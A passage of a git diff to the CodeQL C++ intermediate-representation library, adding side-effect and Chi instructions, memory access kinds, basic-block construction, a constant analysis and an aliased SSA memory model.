`BufferSizeOperand`. + */ +class BufferMayMemoryAccess extends MemoryAccessKind, TBufferMayMemoryAccess { + override string toString() { + result = "buffer(may)" + } +} + /** * The operand or result accesses all memory whose address has escaped. */ @@ -43,6 +80,26 @@ class PhiMemoryAccess extends MemoryAccessKind, TPhiMemoryAccess { } } +/** + * The operand is a ChiTotal operand, which accesses the same memory as its + * definition. + */ +class ChiTotalMemoryAccess extends MemoryAccessKind, TChiTotalMemoryAccess { + override string toString() { + result = "chi(total)" + } +} + +/** + * The operand is a ChiPartial operand, which accesses the same memory as its + * definition. + */ +class ChiPartialMemoryAccess extends MemoryAccessKind, TChiPartialMemoryAccess { + override string toString() { + result = "chi(partial)" + } +} + /** * The operand accesses memory not modeled in SSA. Used only on the result of * `UnmodeledDefinition` and on the operands of `UnmodeledUse`. diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/Opcode.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/Opcode.qll index 992dde33bcc..973aed120d2 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/Opcode.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/Opcode.qll @@ -54,11 +54,22 @@ private newtype TOpcode = TUnwind() or TUnmodeledDefinition() or TUnmodeledUse() or + TAliasedDefinition() or TPhi() or TVarArgsStart() or TVarArgsEnd() or TVarArg() or - TVarArgCopy() + TVarArgCopy() or + TCallSideEffect() or + TCallReadSideEffect() or + TIndirectReadSideEffect() or + TIndirectWriteSideEffect() or + TIndirectMayWriteSideEffect() or + TBufferReadSideEffect() or + TBufferWriteSideEffect() or + TBufferMayWriteSideEffect() or + TChi() or + TUnreached() class Opcode extends TOpcode { string toString() { @@ -92,6 +103,29 @@ abstract class OpcodeWithCondition extends Opcode {} abstract class BuiltInOpcode extends Opcode {} +abstract class SideEffectOpcode extends Opcode {} + +/** + * An opcode that reads from a set of memory locations as a side effect. + */ +abstract class ReadSideEffectOpcode extends SideEffectOpcode {} + +/** + * An opcode that writes to a set of memory locations as a side effect. + */ +abstract class WriteSideEffectOpcode extends SideEffectOpcode {} + +/** + * An opcode that may overwrite some, all, or none of an existing set of memory locations. Modeled + * as a read of the original contents, plus a "may" write of the new contents. + */ +abstract class MayWriteSideEffectOpcode extends SideEffectOpcode {} + +/** + * An opcode that accesses a buffer via an `AddressOperand` and a `BufferSizeOperand`. + */ +abstract class BufferAccessOpcode extends MemoryAccessOpcode {} + module Opcode { class NoOp extends Opcode, TNoOp { override final string toString() { result = "NoOp" } } class Uninitialized extends MemoryAccessOpcode, TUninitialized { override final string toString() { result = "Uninitialized" } } @@ -148,9 +182,20 @@ module Opcode { class Unwind extends Opcode, TUnwind { override final string toString() { result = "Unwind" } } class UnmodeledDefinition extends Opcode, TUnmodeledDefinition { override final string toString() { result = "UnmodeledDefinition" } } class UnmodeledUse extends Opcode, TUnmodeledUse { override final string toString() { result = "UnmodeledUse" } } + class AliasedDefinition extends Opcode, TAliasedDefinition { override final string toString() { result = "AliasedDefinition" } } class Phi extends Opcode, TPhi { override final string toString() { result = "Phi" } } class VarArgsStart extends BuiltInOpcode, TVarArgsStart { override final string toString() { result = "VarArgsStart" } } class VarArgsEnd extends BuiltInOpcode, TVarArgsEnd { override final string toString() { result = "VarArgsEnd" } } class VarArg extends BuiltInOpcode, TVarArg { override final string toString() { result = "VarArg" } } class VarArgCopy extends BuiltInOpcode, TVarArgCopy { override final string toString() { result = "VarArgCopy" } } + class CallSideEffect extends MayWriteSideEffectOpcode, TCallSideEffect { override final string toString() { result = "CallSideEffect" } } + class CallReadSideEffect extends ReadSideEffectOpcode, TCallReadSideEffect { override final string toString() { result = "CallReadSideEffect" } } + class IndirectReadSideEffect extends ReadSideEffectOpcode, MemoryAccessOpcode, TIndirectReadSideEffect { override final string toString() { result = "IndirectReadSideEffect" } } + class IndirectWriteSideEffect extends WriteSideEffectOpcode, MemoryAccessOpcode, TIndirectWriteSideEffect { override final string toString() { result = "IndirectWriteSideEffect" } } + class IndirectMayWriteSideEffect extends MayWriteSideEffectOpcode, MemoryAccessOpcode, TIndirectMayWriteSideEffect { override final string toString() { result = "IndirectMayWriteSideEffect" } } + class BufferReadSideEffect extends ReadSideEffectOpcode, BufferAccessOpcode, TBufferReadSideEffect { override final string toString() { result = "BufferReadSideEffect" } } + class BufferWriteSideEffect extends WriteSideEffectOpcode, BufferAccessOpcode, TBufferWriteSideEffect { override final string toString() { result = "BufferWriteSideEffect" } } + class BufferMayWriteSideEffect extends MayWriteSideEffectOpcode, BufferAccessOpcode, TBufferMayWriteSideEffect { override final string toString() { result = "BufferMayWriteSideEffect" } } + class Chi extends Opcode, TChi { override final string toString() { result = "Chi" } } + class Unreached extends Opcode, TUnreached { override final string toString() { result = "Unreached" } } } diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/IRBlock.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/IRBlock.qll index c51b05a073b..f94fad4f527 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/IRBlock.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/IRBlock.qll @@ -1,9 +1,20 @@ private import internal.IRInternal import Instruction import semmle.code.cpp.ir.implementation.EdgeKind -private import Construction::BlockConstruction +private import Cached -class IRBlock extends TIRBlock { +/** + * A basic block in the IR. A basic block consists of a sequence of `Instructions` with the only + * incoming edges at the beginning of the sequence and the only outgoing edges at the end of the + * sequence. + * + * This class does not contain any members that query the predecessor or successor edges of the + * block. This allows different classes that extend `IRBlockBase` to expose different subsets of + * edges (e.g. ignoring unreachable edges). + * + * Most consumers should use the class `IRBlock`. + */ +class IRBlockBase extends TIRBlock { final string toString() { result = getFirstInstruction(this).toString() } @@ -59,7 +70,14 @@ class IRBlock extends TIRBlock { final Function getFunction() { result = getFirstInstruction(this).getFunction() } +} +/** + * A basic block with additional information about its predecessor and successor edges. Each edge + * corresponds to the control flow between the last instruction of one block and the first + * instruction of another block. + */ +class IRBlock extends IRBlockBase { final IRBlock getASuccessor() { blockSuccessor(this, result) } @@ -98,3 +116,82 @@ class IRBlock extends TIRBlock { getAPredecessor().isReachableFromFunctionEntry() } } + +private predicate startsBasicBlock(Instruction instr) { + not instr instanceof PhiInstruction and + ( + count(Instruction predecessor | + instr = predecessor.getASuccessor() + ) != 1 or // Multiple predecessors or no predecessor + exists(Instruction predecessor | + instr = predecessor.getASuccessor() and + strictcount(Instruction other | + other = predecessor.getASuccessor() + ) > 1 + ) or // Predecessor has multiple successors + exists(Instruction predecessor, EdgeKind kind | + instr = predecessor.getSuccessor(kind) and + not kind instanceof GotoEdge + ) // Incoming edge is not a GotoEdge + ) +} + +private predicate isEntryBlock(TIRBlock block) { + block = MkIRBlock(any(EnterFunctionInstruction enter)) +} + +private cached module Cached { + cached newtype TIRBlock = + MkIRBlock(Instruction firstInstr) { + startsBasicBlock(firstInstr) + } + + /** Holds if `i2` follows `i1` in a `IRBlock`. */ + private predicate adjacentInBlock(Instruction i1, Instruction i2) { + exists(GotoEdge edgeKind | i2 = i1.getSuccessor(edgeKind)) and + not startsBasicBlock(i2) + } + + /** Gets the index of `i` in its `IRBlock`. */ + private int getMemberIndex(Instruction i) { + startsBasicBlock(i) and + result = 0 + or + exists(Instruction iPrev | + adjacentInBlock(iPrev, i) and + result = getMemberIndex(iPrev) + 1 + ) + } + + /** Holds if `i` is the `index`th instruction in `block`. */ + cached Instruction getInstruction(TIRBlock block, int index) { + exists(Instruction first | + block = MkIRBlock(first) and + index = getMemberIndex(result) and + adjacentInBlock*(first, result) + ) + } + + cached int getInstructionCount(TIRBlock block) { + result = strictcount(getInstruction(block, _)) + } + + cached predicate blockSuccessor(TIRBlock pred, TIRBlock succ, EdgeKind kind) { + exists(Instruction predLast, Instruction succFirst | + predLast = getInstruction(pred, getInstructionCount(pred) - 1) and + succFirst = predLast.getSuccessor(kind) and + succ = MkIRBlock(succFirst) + ) + } + + cached predicate blockSuccessor(TIRBlock pred, TIRBlock succ) { + blockSuccessor(pred, succ, _) + } + + cached predicate blockImmediatelyDominates(TIRBlock dominator, TIRBlock block) = + idominance(isEntryBlock/1, blockSuccessor/2)(_, dominator, block) +} + +Instruction getFirstInstruction(TIRBlock block) { + block = MkIRBlock(result) +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/Instruction.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/Instruction.qll index 99255b8ffa5..d956421a268 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/Instruction.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/Instruction.qll @@ -33,11 +33,18 @@ module InstructionSanity { ) or opcode instanceof CopyOpcode and tag instanceof CopySourceOperandTag or opcode instanceof MemoryAccessOpcode and tag instanceof AddressOperandTag or + opcode instanceof BufferAccessOpcode and tag instanceof BufferSizeOperand or opcode instanceof OpcodeWithCondition and tag instanceof ConditionOperandTag or opcode instanceof Opcode::ReturnValue and tag instanceof ReturnValueOperandTag or opcode instanceof Opcode::ThrowValue and tag instanceof ExceptionOperandTag or opcode instanceof Opcode::UnmodeledUse and tag instanceof UnmodeledUseOperandTag or - opcode instanceof Opcode::Call and tag instanceof CallTargetOperandTag + opcode instanceof Opcode::Call and tag instanceof CallTargetOperandTag or + opcode instanceof Opcode::Chi and tag instanceof ChiTotalOperandTag or + opcode instanceof Opcode::Chi and tag instanceof ChiPartialOperandTag or + ( + (opcode instanceof ReadSideEffectOpcode or opcode instanceof MayWriteSideEffectOpcode) and + tag instanceof SideEffectOperandTag + ) ) ) } @@ -95,7 +102,8 @@ module InstructionSanity { not exists(instr.getASuccessor()) and not instr instanceof ExitFunctionInstruction and // Phi instructions aren't linked into the instruction-level flow graph. - not instr instanceof PhiInstruction + not instr instanceof PhiInstruction and + not instr instanceof UnreachedInstruction } /** @@ -162,9 +170,9 @@ class Instruction extends Construction::TInstruction { */ final string getOperationString() { if exists(getImmediateString()) then - result = opcode.toString() + "[" + getImmediateString() + "]" + result = getOperationPrefix() + opcode.toString() + "[" + getImmediateString() + "]" else - result = opcode.toString() + result = getOperationPrefix() + opcode.toString() } /** @@ -174,6 +182,13 @@ class Instruction extends Construction::TInstruction { none() } + private string getOperationPrefix() { + if this instanceof SideEffectInstruction then + result = "^" + else + result = "" + } + private string getResultPrefix() { if resultType instanceof VoidType then result = "v" @@ -437,8 +452,7 @@ class Instruction extends Construction::TInstruction { final predicate isResultModeled() { // Register results are always in SSA form. not hasMemoryResult() or - // An unmodeled result will have a use on the `UnmodeledUse` instruction. - not (getAUse() instanceof UnmodeledUseOperand) + Construction::hasModeledMemoryResult(this) } /** @@ -581,7 +595,7 @@ class FieldAddressInstruction extends FieldInstruction { } } -class UninitializedInstruction extends Instruction { +class UninitializedInstruction extends VariableInstruction { UninitializedInstruction() { opcode instanceof Opcode::Uninitialized } @@ -589,6 +603,13 @@ class UninitializedInstruction extends Instruction { override final MemoryAccessKind getResultMemoryAccess() { result instanceof IndirectMemoryAccess } + + /** + * Gets the `LocalVariable` that is uninitialized. + */ + final LocalVariable getLocalVariable() { + result = var.(IRUserVariable).getVariable() + } } class NoOpInstruction extends Instruction { @@ -1084,14 +1105,157 @@ class SwitchInstruction extends Instruction { } } +/** + * An instruction that calls a function. + */ class CallInstruction extends Instruction { CallInstruction() { opcode instanceof Opcode::Call } + /** + * Gets the `Instruction` that computes the target function of the call. This is usually a + * `FunctionAddress` instruction, but can also be an arbitrary instruction that produces a + * function pointer. + */ final Instruction getCallTarget() { result = getAnOperand().(CallTargetOperand).getDefinitionInstruction() } + + /** + * Gets all of the arguments of the call, including the `this` pointer, if any. + */ + final Instruction getAnArgument() { + result = getAnOperand().(ArgumentOperand).getDefinitionInstruction() + } + + /** + * Gets the `this` pointer argument of the call, if any. + */ + final Instruction getThisArgument() { + result = getAnOperand().(ThisArgumentOperand).getDefinitionInstruction() + } + + /** + * Gets the argument at the specified index. + */ + final Instruction getPositionalArgument(int index) { + exists(PositionalArgumentOperand operand | + operand = getAnOperand() and + operand.getIndex() = index and + result = operand.getDefinitionInstruction() + ) + } +} + +/** + * An instruction representing a side effect of a function call. + */ +class SideEffectInstruction extends Instruction { + SideEffectInstruction() { + opcode instanceof SideEffectOpcode + } + + final Instruction getPrimaryInstruction() { + result = Construction::getPrimaryInstructionForSideEffect(this) + } +} + +/** + * An instruction representing the side effect of a function call on any memory that might be + * accessed by that call. + */ +class CallSideEffectInstruction extends SideEffectInstruction { + CallSideEffectInstruction() { + opcode instanceof Opcode::CallSideEffect + } + + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof EscapedMemoryAccess + } +} + +/** + * An instruction representing the side effect of a function call on any memory that might be read + * by that call. + */ +class CallReadSideEffectInstruction extends SideEffectInstruction { + CallReadSideEffectInstruction() { + opcode instanceof Opcode::CallReadSideEffect + } +} + +/** + * An instruction representing the read of an indirect parameter within a function call. + */ +class IndirectReadSideEffectInstruction extends SideEffectInstruction { + IndirectReadSideEffectInstruction() { + opcode instanceof Opcode::IndirectReadSideEffect + } +} + +/** + * An instruction representing the read of an indirect buffer parameter within a function call. + */ +class BufferReadSideEffectInstruction extends SideEffectInstruction { + BufferReadSideEffectInstruction() { + opcode instanceof Opcode::BufferReadSideEffect + } +} + +/** + * An instruction representing the write of an indirect parameter within a function call. + */ +class IndirectWriteSideEffectInstruction extends SideEffectInstruction { + IndirectWriteSideEffectInstruction() { + opcode instanceof Opcode::IndirectWriteSideEffect + } + + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof IndirectMemoryAccess + } +} + +/** + * An instruction representing the write of an indirect buffer parameter within a function call. The + * entire buffer is overwritten. + */ +class BufferWriteSideEffectInstruction extends SideEffectInstruction { + BufferWriteSideEffectInstruction() { + opcode instanceof Opcode::BufferWriteSideEffect + } + + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof BufferMemoryAccess + } +} + +/** + * An instruction representing the potential write of an indirect parameter within a function call. + * Unlike `IndirectWriteSideEffectInstruction`, the location might not be completely overwritten. + * written. + */ +class IndirectMayWriteSideEffectInstruction extends SideEffectInstruction { + IndirectMayWriteSideEffectInstruction() { + opcode instanceof Opcode::IndirectMayWriteSideEffect + } + + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof IndirectMayMemoryAccess + } +} + +/** + * An instruction representing the write of an indirect buffer parameter within a function call. + * Unlike `BufferWriteSideEffectInstruction`, the buffer might not be completely overwritten. + */ +class BufferMayWriteSideEffectInstruction extends SideEffectInstruction { + BufferMayWriteSideEffectInstruction() { + opcode instanceof Opcode::BufferMayWriteSideEffect + } + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof BufferMayMemoryAccess + } } /** @@ -1195,6 +1359,19 @@ class UnmodeledDefinitionInstruction extends Instruction { } } +/** + * An instruction that initializes all escaped memory. + */ +class AliasedDefinitionInstruction extends Instruction { + AliasedDefinitionInstruction() { + opcode instanceof Opcode::AliasedDefinition + } + + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof EscapedMemoryAccess + } +} + class UnmodeledUseInstruction extends Instruction { UnmodeledUseInstruction() { opcode instanceof Opcode::UnmodeledUse @@ -1205,6 +1382,16 @@ class UnmodeledUseInstruction extends Instruction { } } +/** + * An instruction representing the choice of one of multiple input values based on control flow. + * + * A `PhiInstruction` is inserted at the beginning of a block whenever two different definitions of + * the same variable reach that block. The `PhiInstruction` will have one operand corresponding to + * each control flow predecessor of the block, with that operand representing the version of the + * variable that flows from that predecessor. The result value of the `PhiInstruction` will be + * a copy of whichever operand corresponds to the actual predecessor that entered the block at + * runtime. + */ class PhiInstruction extends Instruction { PhiInstruction() { opcode instanceof Opcode::Phi @@ -1215,6 +1402,84 @@ class PhiInstruction extends Instruction { } } +/** + * An instruction representing the effect that a write to a memory may have on potential aliases of + * that memory. + * + * A `ChiInstruction` is inserted immediately after an instruction that writes to memory. The + * `ChiInstruction` has two operands. The first operand, given by `getTotalOperand()`, represents + * the previous state of all of the memory that might be alised by the memory write. The second + * operand, given by `getPartialOperand()`, represents the memory that was actually modified by the + * memory write. The result of the `ChiInstruction` represents the same memory as + * `getTotalOperand()`, updated to include the changes due to the value that was actually stored by + * the memory write. + * + * As an example, suppose that variable `p` and `q` are pointers that may or may not point to the + * same memory: + * ``` + * *p = 5; + * x = *q; + * ``` + * + * The IR would look like: + * ``` + * r1_1 = VariableAddress[p] + * r1_2 = Load r1_1, m0_0 // Load the value of `p` + * r1_3 = Constant[5] + * m1_4 = Store r1_2, r1_3 // Store to `*p` + * m1_5 = ^Chi m0_1, m1_4 // Side effect of the previous Store on aliased memory + * r1_6 = VariableAddress[x] + * r1_7 = VariableAddress[q] + * r1_8 = Load r1_7, m0_2 // Load the value of `q` + * r1_9 = Load r1_8, m1_5 // Load the value of `*q` + * m1_10 = Store r1_6, r1_9 // Store to x + * ``` + * + * Note the `Chi` instruction after the store to `*p`. The indicates that the previous contents of + * aliased memory (`m0_1`) are merged with the new value written by the store (`m1_4`), producing a + * new version of aliased memory (`m1_5`). On the subsequent load from `*q`, the source operand of + * `*q` is `m1_5`, indicating that the store to `*p` may (or may not) have updated the memory + * pointed to by `q`. + * + * For more information about how `Chi` instructions are used to model memory side effects, see + * https://link.springer.com/content/pdf/10.1007%2F3-540-61053-7_66.pdf. + */ +class ChiInstruction extends Instruction { + ChiInstruction() { + opcode instanceof Opcode::Chi + } + + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof ChiTotalMemoryAccess + } + + /** + * Gets the operand that represents the previous state of all memory that might be aliased by the + * memory write. + */ + final Instruction getTotalOperand() { + result = getAnOperand().(ChiTotalOperand).getDefinitionInstruction() + } + + /** + * Gets the operand that represents the new value written by the memory write. + */ + final Instruction getPartialOperand() { + result = getAnOperand().(ChiPartialOperand).getDefinitionInstruction() + } +} + +/** + * An instruction representing unreachable code. Inserted in place of the original target + * instruction of a `ConditionalBranch` or `Switch` instruction where that particular edge is + * infeasible. + */ +class UnreachedInstruction extends Instruction { + UnreachedInstruction() { + opcode instanceof Opcode::Unreached + } +} + /** * An instruction representing a built-in operation. This is used to represent * operations such as access to variable argument lists. diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/Operand.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/Operand.qll index 4cc82d0906c..edf8e141764 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/Operand.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/Operand.qll @@ -304,6 +304,45 @@ class PositionalArgumentOperand extends ArgumentOperand { override string toString() { result = "Arg(" + argIndex + ")" } + + /** + * Gets the zero-based index of the argument. + */ + final int getIndex() { + result = argIndex + } +} + +class SideEffectOperand extends NonPhiOperand { + SideEffectOperand() { + this = TNonPhiOperand(_, sideEffectOperand(), _) + } + + override MemoryAccessKind getMemoryAccess() { + instr instanceof CallSideEffectInstruction and + result instanceof EscapedMemoryAccess + or + instr instanceof CallReadSideEffectInstruction and + result instanceof EscapedMemoryAccess + or + instr instanceof IndirectReadSideEffectInstruction and + result instanceof IndirectMemoryAccess + or + instr instanceof BufferReadSideEffectInstruction and + result instanceof BufferMemoryAccess + or + instr instanceof IndirectWriteSideEffectInstruction and + result instanceof IndirectMemoryAccess + or + instr instanceof BufferWriteSideEffectInstruction and + result instanceof BufferMemoryAccess + or + instr instanceof IndirectMayWriteSideEffectInstruction and + result instanceof IndirectMayMemoryAccess + or + instr instanceof BufferMayWriteSideEffectInstruction and + result instanceof BufferMayMemoryAccess + } } /** @@ -358,3 +397,38 @@ class MemoryOperand extends Operand { exists(getMemoryAccess()) } } + +/** + * The total operand of a Chi node, representing the previous value of the memory. + */ +class ChiTotalOperand extends Operand { + ChiTotalOperand() { + this = TNonPhiOperand(_, chiTotalOperand(), _) + } + + override string toString() { + result = "ChiTotal" + } + + override final MemoryAccessKind getMemoryAccess() { + result instanceof ChiTotalMemoryAccess + } +} + + +/** + * The partial operand of a Chi node, representing the value being written to part of the memory. + */ +class ChiPartialOperand extends Operand { + ChiPartialOperand() { + this = TNonPhiOperand(_, chiPartialOperand(), _) + } + + override string toString() { + result = "ChiPartial" + } + + override final MemoryAccessKind getMemoryAccess() { + result instanceof ChiPartialMemoryAccess + } +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/constant/ConstantAnalysis.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/constant/ConstantAnalysis.qll new file mode 100644 index 00000000000..382ffdd0ae3 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/constant/ConstantAnalysis.qll @@ -0,0 +1,38 @@ +private import internal.ConstantAnalysisInternal +import semmle.code.cpp.ir.internal.IntegerConstant +private import IR + +language[monotonicAggregates] +IntValue getConstantValue(Instruction instr) { + result = instr.(IntegerConstantInstruction).getValue().toInt() or + exists(BinaryInstruction binInstr, IntValue left, IntValue right | + binInstr = instr and + left = getConstantValue(binInstr.getLeftOperand()) and + right = getConstantValue(binInstr.getRightOperand()) and + ( + binInstr instanceof AddInstruction and result = add(left, right) or + binInstr instanceof SubInstruction and result = sub(left, right) or + binInstr instanceof MulInstruction and result = mul(left, right) or + binInstr instanceof DivInstruction and result = div(left, right) or + binInstr instanceof CompareEQInstruction and result = compareEQ(left, right) or + binInstr instanceof CompareNEInstruction and result = compareNE(left, right) or + binInstr instanceof CompareLTInstruction and result = compareLT(left, right) or + binInstr instanceof CompareGTInstruction and result = compareGT(left, right) or + binInstr instanceof CompareLEInstruction and result = compareLE(left, right) or + binInstr instanceof CompareGEInstruction and result = compareGE(left, right) + ) + ) or + exists(UnaryInstruction unaryInstr, IntValue src | + unaryInstr = instr and + src = getConstantValue(unaryInstr.getOperand()) and + ( + unaryInstr instanceof NegateInstruction and result = neg(src) + ) + ) or + result = getConstantValue(instr.(CopyInstruction).getSourceValue()) or + exists(PhiInstruction phi | + phi = instr and + result = max(PhiOperand operand | operand = phi.getAnOperand() | getConstantValue(operand.getDefinitionInstruction())) and + result = min(PhiOperand operand | operand = phi.getAnOperand() | getConstantValue(operand.getDefinitionInstruction())) + ) +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/constant/PrintConstantAnalysis.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/constant/PrintConstantAnalysis.qll new file mode 100644 index 00000000000..57a7cf594ca --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/constant/PrintConstantAnalysis.qll @@ -0,0 +1,11 @@ +private import internal.ConstantAnalysisInternal +private import semmle.code.cpp.ir.internal.IntegerConstant +private import ConstantAnalysis +import IR + +private class ConstantAnalysisPropertyProvider extends IRPropertyProvider { + override string getInstructionProperty(Instruction instr, string key) { + key = "ConstantValue" and + result = getValue(getConstantValue(instr)).toString() + } +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/constant/internal/ConstantAnalysisInternal.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/constant/internal/ConstantAnalysisInternal.qll new file mode 100644 index 00000000000..d55844c0471 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/constant/internal/ConstantAnalysisInternal.qll @@ -0,0 +1 @@ +import semmle.code.cpp.ir.implementation.aliased_ssa.IR as IR diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/AliasedSSA.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/AliasedSSA.qll new file mode 100644 index 00000000000..bb44d452e93 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/aliased_ssa/internal/AliasedSSA.qll @@ -0,0 +1,280 @@ +import cpp +import AliasAnalysis +private import semmle.code.cpp.ir.implementation.unaliased_ssa.IR +private import semmle.code.cpp.ir.internal.OperandTag +private import semmle.code.cpp.ir.internal.Overlap + +import semmle.code.cpp.ir.internal.Overlap +private import semmle.code.cpp.ir.internal.IntegerConstant as Ints + +private class IntValue = Ints::IntValue; + +private newtype TVirtualVariable = + TVirtualIRVariable(IRVariable var) { + not variableAddressEscapes(var) + } or + TUnknownVirtualVariable(FunctionIR f) + +private VirtualIRVariable getVirtualVariable(IRVariable var) { + result.getIRVariable() = var +} + +private UnknownVirtualVariable getUnknownVirtualVariable(FunctionIR f) { + result.getFunctionIR() = f +} + +class VirtualVariable extends TVirtualVariable { + string toString() { + none() + } + + string getUniqueId() { + none() + } + + Type getType() { + none() + } +} + +class VirtualIRVariable extends VirtualVariable, TVirtualIRVariable { + IRVariable var; + + VirtualIRVariable() { + this = TVirtualIRVariable(var) + } + + override final string toString() { + result = var.toString() + } + + final IRVariable getIRVariable() { + result = var + } + + // REVIEW: This should just be on MemoryAccess + override final Type getType() { + result = var.getType() + } + + override final string getUniqueId() { + result = var.getUniqueId() + } +} + +class UnknownVirtualVariable extends VirtualVariable, TUnknownVirtualVariable { + FunctionIR f; + + UnknownVirtualVariable() { + this = TUnknownVirtualVariable(f) + } + + override final string toString() { + result = "UnknownVvar(" + f + ")" + } + + override final string getUniqueId() { + result = "UnknownVvar(" + f + ")" + } + + override final Type getType() { + result instanceof UnknownType + } + + final FunctionIR getFunctionIR() { + result = f + } +} + +private newtype TMemoryAccess = + TVariableMemoryAccess(IRVariable var, IntValue offset, IntValue size) { + exists(Instruction instr | + exists(MemoryAccessKind mak | instr.getResultMemoryAccess() = mak and not mak instanceof PhiMemoryAccess) and + resultPointsTo(instr.getAnOperand().(AddressOperand).getDefinitionInstruction(), var, offset) and + if exists(instr.getResultSize()) + then instr.getResultSize() = size + else size = Ints::unknown() + ) + } + or + TUnknownMemoryAccess(UnknownVirtualVariable uvv) or + TTotalUnknownMemoryAccess(UnknownVirtualVariable uvv) + +private VariableMemoryAccess getVariableMemoryAccess(IRVariable var, IntValue offset, IntValue size) { + result.getVariable() = var and + result.getOffset() = offset and + result.getSize() = size +} + +class MemoryAccess extends TMemoryAccess { + string toString() { + none() + } + + VirtualVariable getVirtualVariable() { + none() + } + + predicate isPartialMemoryAccess() { + none() + } +} + +class VariableMemoryAccess extends TVariableMemoryAccess, MemoryAccess { + IRVariable var; + IntValue offset; + IntValue size; + + VariableMemoryAccess() { + this = TVariableMemoryAccess(var, offset, size) + } + + override final string toString() { + result = var.toString() + "[" + offset.toString() + ".." + (offset + size - 1).toString() + "]" + } + + final override VirtualVariable getVirtualVariable() { + result = getVirtualVariable(var) or + not exists(getVirtualVariable(var)) and result = getUnknownVirtualVariable(var.getFunctionIR()) + } + + IntValue getOffset() { + result = offset + } + + IntValue getSize() { + result = size + } + + final IRVariable getVariable() { + result = var + } + + final override predicate isPartialMemoryAccess() { + not exists(getVirtualVariable(var)) or + getOffset() != 0 + or + getSize() != var.getType().getSize() + } +} + +class UnknownMemoryAccess extends TUnknownMemoryAccess, MemoryAccess { + UnknownVirtualVariable vvar; + + UnknownMemoryAccess() { + this = TUnknownMemoryAccess(vvar) + } + + final override string toString() { + result = vvar.toString() + } + + final override VirtualVariable getVirtualVariable() { + result = vvar + } + + final override predicate isPartialMemoryAccess() { + any() + } + + Type getType() { + result instanceof UnknownType + } +} + +class TotalUnknownMemoryAccess extends TTotalUnknownMemoryAccess, MemoryAccess { + UnknownVirtualVariable vvar; + + TotalUnknownMemoryAccess() { + this = TTotalUnknownMemoryAccess(vvar) + } + + final override string toString() { + result = vvar.toString() + } + + final override VirtualVariable getVirtualVariable() { + result = vvar + } + + Type getType() { + result instanceof UnknownType + } +} + +Overlap getOverlap(MemoryAccess def, MemoryAccess use) { + def instanceof VariableMemoryAccess and + def = use and + result instanceof MustExactlyOverlap + or + exists(VariableMemoryAccess defVMA, VariableMemoryAccess useVMA, int defOffset, int defEnd, + int useOffset, int useEnd | + defVMA = def and + useVMA = use and + defVMA.getVirtualVariable() = useVMA.getVirtualVariable() and + defVMA != useVMA and + defOffset = Ints::getValue(defVMA.getOffset()) and + defEnd = Ints::getValue(Ints::add(defVMA.getOffset(), defVMA.getSize())) and + useOffset = Ints::getValue(useVMA.getOffset()) and + useEnd = Ints::getValue(Ints::add(useVMA.getOffset(), useVMA.getSize())) + | + defOffset <= useOffset and + defEnd >= useEnd and + result instanceof MustTotallyOverlap + or + defOffset > useOffset and + defOffset < useEnd and + result instanceof MayPartiallyOverlap + or + defOffset = useOffset and + defEnd < useEnd and + result instanceof MayPartiallyOverlap + ) + or + exists(UnknownVirtualVariable uvv | + def = TUnknownMemoryAccess(uvv) and + uvv = use.getVirtualVariable() and + result instanceof MayPartiallyOverlap + ) + or + exists(UnknownVirtualVariable uvv | + def = TTotalUnknownMemoryAccess(uvv) and + uvv = use.getVirtualVariable() and + result instanceof MustTotallyOverlap + ) +} + +MemoryAccess getResultMemoryAccess(Instruction instr) { + exists(instr.getResultMemoryAccess()) and + if exists(IRVariable var, IntValue i | + resultPointsTo(instr.getAnOperand().(AddressOperand).getDefinitionInstruction(), var, i) + ) + then exists(IRVariable var, IntValue i | + resultPointsTo(instr.getAnOperand().(AddressOperand).getDefinitionInstruction(), var, i) and + result = getVariableMemoryAccess(var, i, instr.getResultSize()) + ) + else ( + result = TUnknownMemoryAccess(TUnknownVirtualVariable(instr.getFunctionIR())) and + not instr instanceof UnmodeledDefinitionInstruction and + not instr instanceof AliasedDefinitionInstruction + or + result = TTotalUnknownMemoryAccess(TUnknownVirtualVariable(instr.getFunctionIR())) and + instr instanceof AliasedDefinitionInstruction + ) +} + +MemoryAccess getOperandMemoryAccess(Operand operand) { + exists(operand.getMemoryAccess()) and + if 